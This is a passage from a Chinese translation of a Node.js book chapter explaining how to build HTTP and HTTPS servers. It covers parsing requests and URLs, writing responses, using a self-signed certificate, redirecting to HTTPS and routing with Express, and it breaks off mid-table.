有没有替代方案? 没有。Node.js 的 HTTP 和 HTTPS API 是服务器端 Web 应用程序开发的核心。第三方包可以使 API 更易于使用,但它们建立在相同的功能之上。

表 5.2 总结了本章内容。

表 5.2:本章总结

问题 解决方案 列表
HTTP 请求列表 使用 createServer 函数创建 Server 对象,并使用 listen 方法开始监听请求。 4
检查 HTTP 请求 使用 IncomingRequest 类提供的功能。 5
解析请求 URL 使用 url 模块中的 URL 类。 6
创建 HTTP 响应 使用 ServerResponse 类提供的功能。 7
监听 HTTPS 请求 使用 https 模块提供的功能。 8, 9
检测 HTTPS 请求 检查 IncomingRequest 对象上的 socket.encrypted 属性的值。 10
重定向不安全的请求 向 HTTPS 端口发送 302 标头。 11, 12
简化请求处理 使用第三方路由和增强的请求和响应类。 13-19

准备本章内容

在本章中,我将继续使用在 第四章 中创建的 webapp 项目。为了准备本章,请将 src 文件夹中 handler.ts 文件的全部内容替换为 列表 5.1 中显示的代码。

提示

您可以从 github.com/PacktPublishing/Mastering-Node.js-Web-Development 下载本章的示例项目——以及本书中所有其他章节的示例项目。如果您在运行示例时遇到问题,请参阅 第一章 获取帮助。

列表 5.1:替换 src 文件夹中 handler.ts 文件的内容

import { IncomingMessage, ServerResponse } from "http";
export const handler = async (req: IncomingMessage, resp: ServerResponse) => {
    resp.end("Hello, World");
}; 

src 文件夹中的 server.ts 文件的内容替换为 列表 5.2 中显示的代码。

列表 5.2:替换 src 文件夹中 server.ts 文件的内容

import { createServer } from "http";
import { handler } from "./handler";
const port = 5000;
const server = createServer();
server.on("request", handler);
server.listen(port);
server.on("listening", () => {
    console.log(`(Event) Server listening on port ${port}`);
}); 

webapp 文件夹中运行 列表 5.3 中显示的命令以启动编译 TypeScript 文件并执行生成的 JavaScript 的监视器。

列表 5.3:启动项目

npm start 

src 文件夹中的 server.ts 文件将被编译,生成一个位于 dist 文件夹中的纯 JavaScript 文件,名为 server.js。JavaScript 代码将由 Node.js 运行时执行,它将开始监听 HTTP 请求。打开一个网页浏览器,请求 http://localhost:5000,你将看到 图 5.1 中显示的响应。

图 5.1:运行示例项目

监听 HTTP 请求

第四章 中,我创建了一个简单的 Web 服务器,以便演示 JavaScript 代码的执行方式。在这样做的时候,我跳过了代码工作原理的细节,但现在该回到细节中去探究了。

http 模块中的 createServer 函数用于创建 Server 对象,这些对象可以用来监听和处理 HTTP 请求。在开始监听请求之前,Server 对象需要配置,而 Server 类定义的最有用方法和属性在 表 5.3 中进行了描述。

表 5.3:有用的服务器方法和属性

名称 描述

|

`listen(port)` 
此方法在指定的端口上开始监听请求。

|

`close()` 
此方法停止监听请求。

|

`requestTimeout` 
此属性获取或设置请求超时时间,也可以使用传递给 createServer 函数的配置对象来使用。

一旦配置了 Server 对象,它就会发出表示状态重要变化的的事件。最有用的事件在 表 5.4 中进行了描述。

表 5.4:有用的服务器事件

名称 描述

|

`listening` 
当服务器开始监听请求时,将触发此事件。

|

`request` 
当接收到新的请求时,将触发此事件。处理此事件的回调函数将使用表示 HTTP 请求和响应的参数调用。

|

`error` 
当发生网络错误时,将触发此事件。

使用事件来调用回调函数是 第四章 中描述的 JavaScript 代码执行模型的典型特征。每当收到 HTTP 请求时,都会触发 request 事件,而 JavaScript 执行模型意味着一次只能处理一个 HTTP 请求。

Node.js API 通常允许通过其他方法指定事件处理器。用于创建 Server 对象的 createServer 函数接受一个可选的函数参数,该参数被注册为 request 事件的处理器,而 Server.listen 方法接受一个可选的函数参数,用于处理 listening 事件。

这些便利功能可以用来组合创建和配置 HTTP 服务器的语句与处理事件的回调函数,如 列表 5.4 所示。

列表 5.4:在 src 文件夹中的 server.ts 文件中使用服务器的事件便利功能

import { createServer } from "http";
import { handler } from "./handler";
const port = 5000;
**const server = createServer(handler);**
**//server.on("request", handler);**
**server.listen(port,**
 **() => console****.log(`(Event) Server listening on port ${port}`));**
**// server.on("listening", () => {**
**//     console.log(`(Event) Server listening on port ${port}`);**
**// });** 

此代码与 列表 5.2 有相同的效果,但更简洁、更易于阅读。

理解服务器配置对象

createServer 函数的参数是一个配置对象和一个请求处理函数。配置对象用于更改接收请求的方式,其中最有用的设置在 表 5.5 中描述。

表 5.5:有用的 createServer 配置对象设置

名称 描述
IncomingMessage 此属性指定用于表示请求的类。默认是 IncomingMessage 类,在 http 模块中定义。
ServerResponse 此属性指定用于表示响应的类。默认是 ServerResponse 类,在 http 模块中定义。
requestTimeout 此属性指定客户端发送请求允许的时间量(以毫秒为单位),在此之后请求超时。默认值为 300,000 毫秒。

如果需要默认值,则可以省略配置对象。当接收到 HTTP 请求并调用处理函数时,处理函数的参数是对象,其类型由 IncomingMessageServerResponse 属性指定,或者如果配置未更改,则使用默认类型。列表 5.4 中的代码与 列表 5.2 有相同的效果,但更简洁、更易于阅读。

...
export const handler = async (**req: IncomingMessage, resp: ServerResponse**) => {
    resp.end("Hello, World");
};
... 

本章后面的示例展示了使用不同类型,但 HTTP 请求和响应的默认表示提供了处理 HTTP 所需的所有功能,如以下各节所述。

理解 HTTP 请求

Node.js 使用 IncomingMessage 类表示 HTTP 请求,该类在 http 模块中定义。HTTP 请求的四个主要构建块是:

  • HTTP 方法,它描述了客户端想要执行的操作。

  • URL,它标识请求应该应用到的资源。

  • 头部,它提供了有关请求和客户端能力的附加信息。

  • 请求体,它提供了请求操作所需的数据。

IncomingMessage 类提供了对这些构建块的访问权限,允许检查它们,以便服务器可以生成适当的响应。表 5.6 列出了为前三个请求构建块提供的属性,我在 第六章 中解释了如何处理请求体。

表 5.6:有用的 IncomingMessage 属性

名称 描述
headers 此属性返回一个IncomingHttpHeaders对象,它定义了常见头的属性,也可以用作将请求中头的名称映射到头值的键/值对象。头信息已按以下描述规范化。
headersDistinct 此属性返回一个将请求中头的名称映射到头值的键/值对象。值已按以下表格描述规范化。
httpVersion 此属性返回一个包含请求中使用的 HTTP 版本的string值。
method 此属性返回一个包含请求中指定的 HTTP 方法的string值。此值可能为undefined
url 此属性返回一个包含请求 URL 的string值。此值可能为undefined
socket 此属性返回一个表示用于接收连接的网络套接字的对象,这在检测 HTTPS 请求时很有用,如检测 HTTPS 请求部分所示。

HTTP 头可能难以处理,headersheadersDistinct属性规范化了头信息,使其更容易使用。某些 HTTP 头只应在请求中出现一次,因此 Node.js 会移除重复的值。其他头可以有多个值,这些值通过headers属性连接成一个单一的string值,并通过headersDistinct属性转换成一个字符串数组。例外的是set-cookie头,它始终以string数组的形式呈现。(我在第二部分中详细描述了 cookie 的使用。)

提示

IncomingRequest类还定义了rawHeaders属性,它提供了以未规范化形式访问头信息的方式。如果需要执行自定义规范化,此属性可能很有用,但headersheadersDistinct属性对于主流开发项目更有用。

按照惯例,headers属性在显示或记录头信息时更有用,而headersDistinct属性在用头信息决定要生成哪种响应时更有用。列表 5.5更新了示例,以记录请求的详细信息到 Node.js 控制台。

列表 5.5:在 src 文件夹中的 handler.ts 文件中记录请求详细信息

import { IncomingMessage, ServerResponse } from "http";
export const handler = async (req: IncomingMessage, resp: ServerResponse) => {
    **console.log(`---- HTTP Method: ${req.method}, URL: ${req.url}`);**
 **console.log(`host: ${req.headers.host}`);**
 **console****.log(`accept: ${req.headers.accept}`);**
 **console.log(`user-agent: ${req.headers["user-agent"]}`)**
    resp.end("Hello, World");
}; 

此示例输出了 HTTP 方法、请求 URL 和三个头信息:指定请求发送到的主机名和端口的host头;指定客户端愿意在响应中接受的格式的accept头;以及标识客户端的user-agent头。

我在列表 5.5中使用了headers属性,这使我能够使用与头名称对应的属性来访问头信息,如下所示:

...
console.log(`host: ${**req.headers.host**}`);
... 

并非所有 HTTP 头名称都可以用作 JavaScript 属性名称,并且没有 user-agent 头的属性,因为 JavaScript 属性名称不能包含连字符。因此,我必须通过指定属性名称为字符串来访问 user-agent 头,如下所示:

...
console.log(`user-agent: ${**req.headers["user-agent"]**}`)
... 

使用浏览器请求 http://localhost:5000,你将看到类似以下内容的输出,尽管你可能看到不同的头部值(并且为了简洁起见,我省略了头部值):

...
---- HTTP Method: GET, URL: /
host: localhost:5000
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,...
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (...
---- HTTP Method: GET, URL: /favicon.ico
host: localhost:5000
accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (...
... 

此输出显示了两个请求,因为浏览器通常会请求 /favicon.ico,这是用作标签页图标的。如果你最近使用了浏览器中的前一章中的示例,其中生成了 404 Not Found 响应,你可能看不到 favicon.ico 请求。如果你想看到两个请求,你可以清除浏览器的缓存,但这对于后续的示例并不重要。

解析 URL

Node.js 在 url 模块中提供了 URL 类,用于将 URL 解析为其各个部分,这使得检查 URL 并做出关于将发送何种响应的决定变得更容易。通过创建一个新的 URL 对象并读取 表 5.7 中描述的属性来解析 URL。

表 5.7:有用的 URL 属性

名称 描述
hostname 此属性返回一个包含 URL 主机名组件的 string
pathname 此属性返回一个包含 URL 路径组件的 string
port 此属性返回一个包含 URL 端口组件的 string。如果请求已发送到 URL 协议的默认端口(例如,对于未加密的 HTTP 请求,端口为 80),则该值将为空字符串。
protocol 此属性返回一个包含 URL 协议组件的 string
search 此属性返回一个包含 URL 整个查询部分的 string
searchParams 此属性返回一个 URLSeachParams 对象,它提供了对 URL 查询部分的键/值访问。

列表 5.6 创建一个新的 URL 对象以解析请求 URL。

列表 5.6:在 src 文件夹中的 handler.ts 文件中解析 URL

import { IncomingMessage, ServerResponse } from "http";
import { URL } from "url";
export const handler = async (req: IncomingMessage, resp: ServerResponse) => {
    console.log(`---- HTTP Method: ${req.method}, URL: ${req.url}`);
    **// console.log(`host: ${req.headers.host}`);**
 **// console.log(`accept: ${req.headers.accept}`);**
 **// console.log(`user-agent: ${req.headers["user-agent"]}`)**
 **const parsedURL = new** **URL(req.url ?? "", `http://${req.headers.host}`);**
 **console.log(`protocol: ${parsedURL.protocol}`);**
 **console.****log(`hostname: ${parsedURL.hostname}`);**
 **console.log(`port: ${parsedURL.port}`);**
 **console.log(`pathname: ${parsedURL.pathname}****`);**
 **parsedURL.searchParams.forEach((val, key) => {**
 **console.log(`Search param: ${key}: ${val}`)**
 **});**

    resp.end("Hello, World");
}; 

创建一个用于解析 URL 的 URL 对象需要一点工作。IncomingMessage.url 属性返回一个相对 URL,URL 类构造函数将接受它作为参数,但前提是必须将 URL 的基础部分(协议、主机名和端口)作为第二个参数指定。主机名和端口可以从 host 请求头中获取,如下所示:

...
const parsedURL = new URL(req.url ?? "", `http://${**req.headers.host**}`);
... 

缺少的部分是协议。示例仅接受常规未加密的 HTTP 请求,因此我可以指定 http 作为协议,有信心它是正确的。我将在本章后面演示如何在使用 HTTPS 时正确确定协议。

在创建 URL 对象之后,可以使用 表 5.7 中描述的属性来检查 URL 的各个部分,示例中写出了 protocolhostnameportpathname 的值。

URL类解析 URL 的查询部分,并将其呈现为键/值对集合,这些也会被写出。使用浏览器请求以下 URL:http://localhost:5000/myrequest?first=Bob&last=Smith

此 URL 有一个路径和一个查询,当解析此 URL 时,你会看到类似以下输出:

---- HTTP Method: GET, URL: /myrequest?first=Bob&last=Smith
protocol: http:
hostname: localhost
port: 5000
pathname: /myrequest
Search param: first: Bob
Search param: last: Smith
---- HTTP Method: GET, URL: /favicon.ico
protocol: http:
hostname: localhost
port: 5000
pathname: /favicon.ico 

输出显示,除了显式请求的 URL 外,浏览器还发送了一个第二个请求,即对/favicon.ico的请求。

理解 HTTP 响应

检查 HTTP 请求的目的是确定所需的响应类型。响应是通过ServerResponse类提供的功能生成的,其中最有用的功能在表 5.8中描述。

表 5.8:有用的 ServerResponse 成员

名称 描述
sendDate boolean属性确定 Node.js 是否自动生成Date头并将其添加到响应中。默认值为true
setHeader(name, value) 此方法使用指定的名称和值设置响应头。
statusCode number属性用于设置响应状态码。
statusMessage string属性用于设置响应状态消息。
writeHead(code, msg, headers) 此方法用于设置状态码,可选地设置状态消息和响应头。
write(data) 此方法将数据写入响应体,数据以stringBuffer形式表示。此方法接受可选参数,指定数据的编码以及一个在操作完成后被调用的回调函数。
end() 此方法通知 Node.js 响应已完整,可以发送给客户端。此方法可以带有一个可选的data参数,该参数将被添加到响应体中,一个用于数据的编码,以及一个回调函数,当响应发送完毕时将被调用。

生成响应的基本方法是设置状态码和状态消息,定义任何有助于客户端处理响应的头部,写入体数据(如果有的话),然后向客户端发送响应。

列表 5.7 检查接收到的请求,以确定如何使用ServerResponse类提供的功能来创建响应。

列表 5.7:在 src 文件夹中的 handler.ts 文件中生成 HTTP 响应

import { IncomingMessage, ServerResponse } from "http";
import { URL } from "url";
export const handler = async (req: IncomingMessage, resp: ServerResponse) => {
    **const** **parsedURL = new URL(req.url ?? "", `http://${req.headers.host}`);**
 **if (req.method !== "GET" || parsedURL.pathname** **== "/favicon.ico") {**
 **resp.writeHead(404, "Not Found");**
 **resp.end();**
 **return;**
 **} else {**
 **resp.writeHead(200, "OK"****);**
 **if (!parsedURL.searchParams.has("keyword")) {**
 **resp.write("Hello, HTTP");**
 **} else {**
 **resp.write(`Hello, ${parsedURL.searchParams.get("keyword"****)}`);**
 **}**
 **resp.end();**
 **return;** 
 **}**
}; 

此示例生成了三个不同的响应。对于未指定 HTTP GET 方法或请求/favicon.ico的请求,状态码被设置为 404,这告诉浏览器请求的资源不存在,可读的状态消息被设置为Not Found,然后调用end方法来完成请求。

对于所有其他请求,状态码设置为 200,表示成功响应,状态消息设置为OK。检查请求 URL 的查询部分以查看是否存在keyword参数,如果存在,则将其值包含在响应体中。

注意,我在调用end方法后使用了return关键字。这不是必需的,但在调用end方法之后设置标题或写入数据是一个错误,并且明确地从函数返回可以避免这个问题。

使用浏览器请求http://localhost:5000/favicon.icohttp://localhost:5000?keyword=Worldhttp://localhost:5000,您将看到图 5.2中显示的响应。(浏览器通常在幕后请求favicon.ico文件,但明确请求它可以使查看HTTP 404响应更容易。)

图 5.2:生成 HTTP 响应

支持 HTTPS 请求

大多数 Web 应用程序使用 HTTPS,其中 HTTP 请求通过加密的网络连接使用 TLS/SSL 协议发送。使用 HTTPS 确保请求和响应在穿越公共网络时不会被检查。

支持 SSL 需要一个证书来确立服务器的身份,并用作加密 HTTPS 请求的基础。对于本章,我将使用自签名证书,这对于开发和测试是足够的,但不应用于部署。

注意

如果您需要用于部署的证书,请参阅letsencrypt.org。Let’s Encrypt 服务由一个非营利组织支持,并提供适合与 HTTPS 一起使用的免费证书。

创建自签名证书

创建自签名证书最简单的方法是使用 OpenSSL 包,这是一个用于安全相关任务的开源工具包。OpenSSL 项目可以在www.openssl.org找到,OpenSSL 是许多流行 Linux 发行版的一部分。可以在wiki.openssl.org/index.php/binaries找到二进制文件和安装程序的列表,包括 Windows 的安装程序。

或者,Git 客户端在usr/bin文件夹中包含 OpenSSL(在 Windows 上是C:\Program Files\Git\usr\bin),可以用来创建自签名证书,而无需安装 OpenSSL 包。

确保 OpenSSL 可执行文件在您的命令提示符路径中,并在webapp文件夹中运行列表 5.8中显示的命令,将整个命令在一行中输入。

列表 5.8:生成自签名证书

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -sha256 -days 3650 -nodes 

此命令会提示输入将包含在证书中的详细信息。按Enter键选择每个选项的默认值:

...
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:
Email Address []:
... 

详细内容不重要,因为证书仅用于开发。当命令完成后,webapp 文件夹中将出现两个新文件:包含自签名证书的 cert.pem 文件和包含证书私钥的 key.pem 文件。

处理 HTTPS 请求

下一步是使用 Node.js 提供的 API 接收 HTTPS 请求,如 列表 5.9 所示。

列表 5.9:在 src 文件夹的 server.ts 文件中处理 HTTPS 请求

import { createServer } from "http";
import { handler } from "./handler";
**import { createServer as createHttpsServer } from "https";**
**import { readFileSync } from** **"fs";**
const port = 5000;
**const https_port = 5500;**
const server = createServer(handler);
server.listen(port,
    () => console.log(`(Event) Server listening on port ${port}`));
**const httpsConfig = {**
 **key: readFileSync("key.pem"),**
 **cert: readFileSync****("cert.pem")**
**};** 
**const httpsServer = createHttpsServer(httpsConfig, handler);**
**httpsServer.listen(https_port,**
 **() => console.log(`HTTPS Server listening on port ${https_port}****`));** 

接收 HTTPS 请求的过程与常规 HTTP 类似,到函数创建 HTTPS 服务器时命名为 createServer,这与 HTTP 使用的名称相同。为了在同一个代码文件中使用两个版本的 createServer 函数,我在 import 语句中使用了别名,如下所示:

...
import { createServer **as createHttpsServer** } from "https";
... 

此语句从 https 模块导入 createServer 函数,并使用 as 关键字分配一个不会与其他导入冲突的名称。在这种情况下,我选择的名称是 createHttpsServer

需要一个配置对象来指定上一节中创建的证书文件,其属性名为 keycert

...
const httpsConfig = {
    **key**: readFileSync("key.pem"),
    **cert**: readFileSync("cert.pem")
};
... 

keycert 属性可以分配 stringBuffer 值。我使用 fs 模块的 readFileSync 函数读取 key.pemcert.pem 文件的内容,这会产生包含字节数组的 Buffer 值。

理解同步文件读取

第四章 中,我解释了当知道主线程没有其他工作要做时,使用阻塞操作是有意义的。在这种情况下,我需要读取 key.pemcert.pem 文件的内容作为应用程序启动的一部分。使用回调或承诺的好处很少,因为我需要这些文件的内容来配置 Node.js 以监听 HTTPS 请求,并且使用非阻塞操作会产生如下代码:

`...`
`readFile("key.pem", (err, keyBuffer) => {`
 `readFile("cert.pem", (err, certBuffer) => {`
 `const server = createServer(handler);`

 `server.listen(port,`
 ``() => console.log(`HTTP Server listening on port ${port}`));``

 `const httpsServer = createHttpsServer({`
 `key: keyBuffer, cert: certBuffer` 
 `}, handler);`

 `httpsServer.listen(https_port,`
 `() => console.log(`
 `` `HTTPS Server listening on port ${https_port}`)); `` 
 `});`
`});`
`...` 

这段代码展示了 可以 使用非阻塞的 readFile 函数读取文件,但嵌套回调更难理解。承诺也没有帮助,因为 await 关键字只能在函数内部使用,这意味着必须使用 第四章 中展示的 then 语法。

在几乎所有情况下,避免阻塞主线程都很重要,但有一些情况下这并不重要,并且非阻塞特性不太有用。

有许多配置选项可用,描述在 nodejs.org/dist/latest-v20.x/docs/api/https.html#httpscreateserveroptions-requestlistener,但 keycert 选项足以开始。配置对象传递给 createServer 函数,在这个例子中,我将其别名为 createHttpsServer,并在结果上调用 listen 方法以开始监听 HTTPS 请求:

...
const httpsServer = **createHttpsServer**(httpsConfig, handler);
httpsServer.**listen**(https_port,
    () => console.log(`HTTPS Server listening on port ${https_port}`));
... 

打开一个网页浏览器并请求 https://localhost:5500,这将向 Node.js 配置为监听的端口发送 HTTPS 请求。浏览器将显示自签名证书的警告,你通常需要确认你想要继续,如 图 5.3 所示,该图显示了 Chrome 提出的警告。

图 5.3:接受自签名证书

Node.js 仍然在端口 5000 上监听常规 HTTP 请求,你可以通过请求 http://localhost:5000 来确认。

检测 HTTPS 请求

Node.js API 使用 IncomingMessageServerResponse 类来处理 HTTP 和 HTTPS 请求,这意味着相同的处理函数可以用于两种请求类型。然而,了解正在处理哪种类型的请求可能很有用,以便可以生成不同的响应,如 列表 5.10 所示。

列表 5.10:在 src 文件夹中的 handler.ts 文件中检测 HTTPS 请求

import { IncomingMessage, ServerResponse } from "http";
**import { TLSSocket } from "tls";**
import { URL } from "url";
**export const isHttps = (req: IncomingMessage) : boolean => {**
 **return req.socket instanceof TLSSocket** **&& req.socket.encrypted;**
**}**
export const handler = (req: IncomingMessage, resp: ServerResponse) => {
 **const protocol = isHttps(req) ? "https" : "http"****;**
 **const parsedURL =**
 **new URL(req.url ?? "", `${protocol}://${req.headers.host}`);**
    if (req.method !== "GET" || parsedURL.pathname == "/favicon.ico") {
        resp.writeHead(404, "Not Found");
        resp.end();
        return;
    } else {
        resp.writeHead(200, "OK");
        if (!parsedURL.searchParams.has("keyword")) {
            **resp.write(`Hello, ${protocol.toUpperCase()}`);**
        } else {
            resp.write(`Hello, ${parsedURL.searchParams.get("keyword")}`);           
        }
        resp.end();
        return;       
    }
}; 

IncomingMessage 类定义的 socket 属性将为安全请求返回 TLSSocket 类的实例,该类定义了一个 encrypted 属性,它始终返回 true。检查此属性的存在允许识别 HTTPS 和 HTTP 连接,以便可以生成不同的响应。

注意

Node.js 的常见部署模式是使用一个代理,该代理从客户端接收 HTTPS 请求,并使用纯 HTTP 将其分发到 Node.js 服务器。在这种情况下,你通常可以检查 X-Forwarded-Proto 请求头部,代理使用它来传递客户端使用的加密细节。有关详细信息,请参阅 developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Forwarded-Proto

使用浏览器请求 http://localhost:5000https://localhost:5500,你将看到 图 5.4 中显示的响应。

图 5.4:识别 HTTPS 请求

重定向不安全请求

HTTPS 已成为提供网络功能的首选方式,并且通常的做法是对常规 HTTP 请求做出响应,指示客户端使用 HTTPS,如 列表 5.11 所示。

列表 5.11:在 src 文件夹中的 handler.ts 文件中重定向 HTTP 请求

import { IncomingMessage, ServerResponse } from "http";
import { TLSSocket } from "tls";
import { URL } from "url";
**export const isHttps = (req: IncomingMessage) : boolean** **=> {**
 **return req.socket instanceof TLSSocket && req.socket.encrypted;**
**}**
**export const redirectionHandler**
 **= (****req: IncomingMessage, resp: ServerResponse) => {**
 **resp.writeHead(302, {**
 **"Location": "https://localhost:5500"**
 **});**
 **resp.end();**
}
export const handler = (req: IncomingMessage, resp: ServerResponse) => {
    // ...statements omitted for brevity...
}; 

新的处理程序使用 writeHead 方法将状态码设置为 302,这表示重定向,并设置 Location 头部,该头部指定浏览器应请求的 URL。列表 5.12 应用了新的处理程序,使其用于生成所有 HTTP 请求的响应。

列表 5.12:在 src 文件夹中的 server.ts 文件中应用处理程序

import { createServer } from "http";
**import { handler, redirectionHandler } from** **"./handler";**
import { createServer as createHttpsServer } from "https";
import { readFileSync } from "fs";
const port = 5000;
const https_port = 5500;
**const server = createServer(redirectionHandler);**
server.listen(port,
    () => console.log(`(Event) Server listening on port ${port}`));
const httpsConfig = {
    key: readFileSync("key.pem"),
    cert: readFileSync("cert.pem")
};   
const httpsServer = createHttpsServer(httpsConfig, handler);
httpsServer.listen(https_port,
    () => console.log(`HTTPS Server listening on port ${https_port}`)); 

如果你使用浏览器请求 http://localhost:5000,新处理器发送的响应将导致浏览器请求 https://localhost:5500。如果你在 F12 开发者工具窗口中检查浏览器建立的网络连接,你会看到重定向响应和随后的 HTTPS 请求,如图 5.5 所示。

使用 HTTP 严格传输安全 (HSTS)

将 HTTP 请求重定向到 HTTPS URL 意味着客户端和服务器之间的初始通信是不加密的,这可能导致 HTTP 请求被中间人攻击者劫持,将客户端重定向到恶意 URL。可以使用 HTTP 严格传输安全 (HSTS) 标头来告诉浏览器不仅为该域名使用 HTTPS 请求。有关详细信息,请参阅 developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Strict-Transport-Security

图片 B21959_05_05

图 5.5:重定向 HTTP 请求

理解 HTTP/2

本章中的所有示例都使用 HTTP/1.1,这通常是 Node.js 网络应用程序开发的默认选项。

HTTP/2 是对 HTTP 协议的更新,旨在提高性能。HTTP/2 使用单个网络连接来交错多个客户端请求,以紧凑的二进制格式发送标头,并允许服务器在请求之前“推送”内容到客户端。Node.js 在 http2 模块中提供了对 HTTP/2 的支持,甚至包括一个兼容性 API,该 API 使用本章中所示的方法以相同的代码处理 HTTP/1.1 和 HTTP/2 请求。(有关详细信息,请参阅 nodejs.org/dist/latest-v20.x/docs/api/http2.html)。

但 HTTP/2 并不是 Node.js 项目的自动选择,尽管它更高效。这是因为 HTTP/2 适用于请求量大的应用程序,而此类规模的应用程序使用代理来接收请求并将它们分发到多个 Node.js 服务器。代理从客户端接收 HTTP/2 请求,但使用 HTTP/1.1 请求与 Node.js 通信,因为 HTTP/2 功能在数据中心内部影响不大。你可以在本书的 第三部分 中看到一个此类部署的示例。

对于不使用代理的应用程序,请求量足够小,以至于 HTTP/2 的效率不足以证明其给开发带来的额外复杂性,例如要求所有请求加密。

大多数 Node.js 应用程序仍然使用 HTTP/1.1,你可以在下一节中使用的 Express 包等 Node.js 的开源包中看到这一点,尽管它们不支持 HTTP/2,但仍然非常受欢迎。

使用第三方增强功能

Node.js 为 HTTP 和 HTTPS 提供的 API 功能全面,但可能会生成难以阅读和维护的冗长代码。JavaScript 开发的乐趣之一是可用的开源包种类繁多,有许多包是基于 Node.js API 构建的,用于简化请求处理。

这些包中最受欢迎的是 Express。在 webapp 文件夹中运行 列表 5.13 中显示的命令,以安装 Express 包和示例项目中 Express 的 TypeScript 类型。

提示

如果您不喜欢 Express 的工作方式,请不要担心,因为还有许多其他包可供选择。快速在网上搜索 Express 的替代品将为您提供几个可考虑的选项。在选择包时,请记住,正如我在 第二章 中提到的,并非所有 JavaScript 包都从其创建者那里获得长期支持,在使用项目之前考虑包的采用范围是值得的。

列表 5.13:安装 Express 包

npm install express@4.18.2
npm install --save-dev @types/express@4.17.20 

Express 有许多功能,详情请参阅 expressjs.com,但其中最有用的是请求路由器和增强的请求/响应类型,这两者都在接下来的章节中进行了描述。

使用 Express 路由器

使用 Node.js API 的请求处理函数将检查请求的语句与生成响应的代码混合在一起。每当应用程序支持新的 URL 时,都需要一个新的代码分支,如 列表 5.14 所示。

列表 5.14:在 src 文件夹中的 handler.ts 文件中支持新的 URL

import { IncomingMessage, ServerResponse } from "http";
import { TLSSocket } from "tls";
import { URL } from "url";
export const isHttps = (req: IncomingMessage) : boolean => {
    return req.socket instanceof TLSSocket && req.socket.encrypted;
}
export const redirectionHandler
        = (req: IncomingMessage, resp: ServerResponse) => {
    resp.writeHead(302, {
        "Location": "https://localhost:5500"
    });
    resp.end();
}
export const handler = (req: IncomingMessage, resp: ServerResponse) => {
    const protocol = isHttps(req) ? "https" : "http";
    const parsedURL
        = new URL(req.url ?? "", `${protocol}://${req.headers.host}`);
    if (req.method !== "GET" || parsedURL.pathname == "/favicon.ico") {
        resp.writeHead(404, "Not Found");
        resp.end();
        return;
    } else {
        resp.writeHead(200, "OK");
        **if (parsedURL.pathname == "/newurl") {**
 **resp.write("Hello, New URL");**
 **} else if (!parsedURL.searchParams.****has("keyword")) {**
            resp.write(`Hello, ${protocol.toUpperCase()}`);
        } else {
            resp.write(`Hello, ${parsedURL.searchParams.get("keyword")}`);           
        }
        resp.end();
        return;       
    }
}; 

每次新增都会使代码更加复杂,并增加编码错误的几率,这些错误可能无法匹配正确的请求或生成错误的响应。

Express 路由器 通过将请求匹配与生成响应分离来解决此问题。使用 Express 路由器的第一步是将现有的请求处理代码重构为独立的函数,这些函数生成响应而不包含检查请求的语句,如 列表 5.15 所示。

列表 5.15:在 src 文件夹中的 handler.ts 文件中进行重构

import { IncomingMessage, ServerResponse } from "http";
import { TLSSocket } from "tls";
import { URL } from "url";
export const isHttps = (req: IncomingMessage) : boolean => {
    return req.socket instanceof TLSSocket && req.socket.encrypted;
}
export const redirectionHandler
        = (req: IncomingMessage, resp: ServerResponse) => {
    resp.writeHead(302, {
        "Location": "https://localhost:5500"
    });
    resp.end();
}
**export const** **notFoundHandler**
 **= (req: IncomingMessage, resp: ServerResponse) => {**
 **resp.writeHead(404, "Not Found");**
 **resp.end();**
**}**
**export const newUrlHandler**
 **= (****req: IncomingMessage, resp: ServerResponse) => {**
 **resp.writeHead(200, "OK");** 
 **resp.write("Hello, New URL");**
 **resp.end();**
**}**
**export const defaultHandler**
 **= (req: IncomingMessage, resp: ServerResponse) => {**
 **resp.writeHead(200, "OK");**
 **const protocol = isHttps(req) ? "https" : "http";**
 **const parsedURL = new** **URL(req.url ?? "",**
 **`${protocol}://${req.headers.host}`);** 
 **if (!parsedURL.searchParams.has("keyword"****)) {**
 **resp.write(`Hello, ${protocol.toUpperCase()}`);**
 **} else {**
 **resp.write(`Hello, ${parsedURL.searchParams.get("keyword")}`);** 
 **}**
 **resp.end();**
**}** 

响应的生成方式与之前的示例相同,但每个响应都是由一个独立的处理函数创建的,没有匹配请求的代码。下一步是使用 Express 路由器来匹配请求并从 列表 5.15 中选择一个处理函数来生成结果,如 列表 5.16 所示。

列表 5.16:在 src 文件夹中的 server.ts 文件中使用 Express 路由器

import { createServer } from "http";
**import { redirectionHandler, newUrlHandler, defaultHandler,**
 **notFoundHandler } from "./handler";**
import { createServer as createHttpsServer } from "https";
import { readFileSync } from "fs";
**import express, { Express } from "express";**
const port = 5000;
const https_port = 5500;
const server = createServer(redirectionHandler);
server.listen(port,
    () => console.log(`(Event) Server listening on port ${port}`));
const httpsConfig = {
    key: readFileSync("key.pem"),
    cert: readFileSync("cert.pem")
};   
**const** **expressApp: Express = express();**
**expressApp.get("/favicon.ico", notFoundHandler);**
**expressApp.get("/newurl", newUrlHandler);**
**expressApp.get("*", defaultHandler);**
**const** **httpsServer = createHttpsServer(httpsConfig, expressApp);**
httpsServer.listen(https_port,
    () => console.log(`HTTPS Server listening on port ${https_port}`)); 

Express 包包含一个默认导出,即名为 express 的函数,这就是为什么新的 import 语句看起来不同的原因:

...
import **express**, { Express } from "express";
... 

调用 express 函数以创建一个 Express 对象,该对象提供了将请求映射到处理函数的方法。表 5.9 描述了最有用的方法,其中大多数方法都结合了 HTTP 方法到匹配过程中。

表 5.9:有用的 Express 方法

名称 描述

|

`get(path, handler)` 
此方法将匹配路径的 HTTP GET 请求路由到指定的处理函数。

|

`post(path, handler)` 
此方法将匹配路径的 HTTP POST 请求路由到指定的处理函数。

|

`put(path, handler)` 
此方法将匹配路径的 HTTP PUT 请求路由到指定的处理函数。

|

`delete(path, handler)` 
此方法将匹配路径的 HTTP DELETE 请求路由到指定的处理函数。

|

`all(path, handler)` 
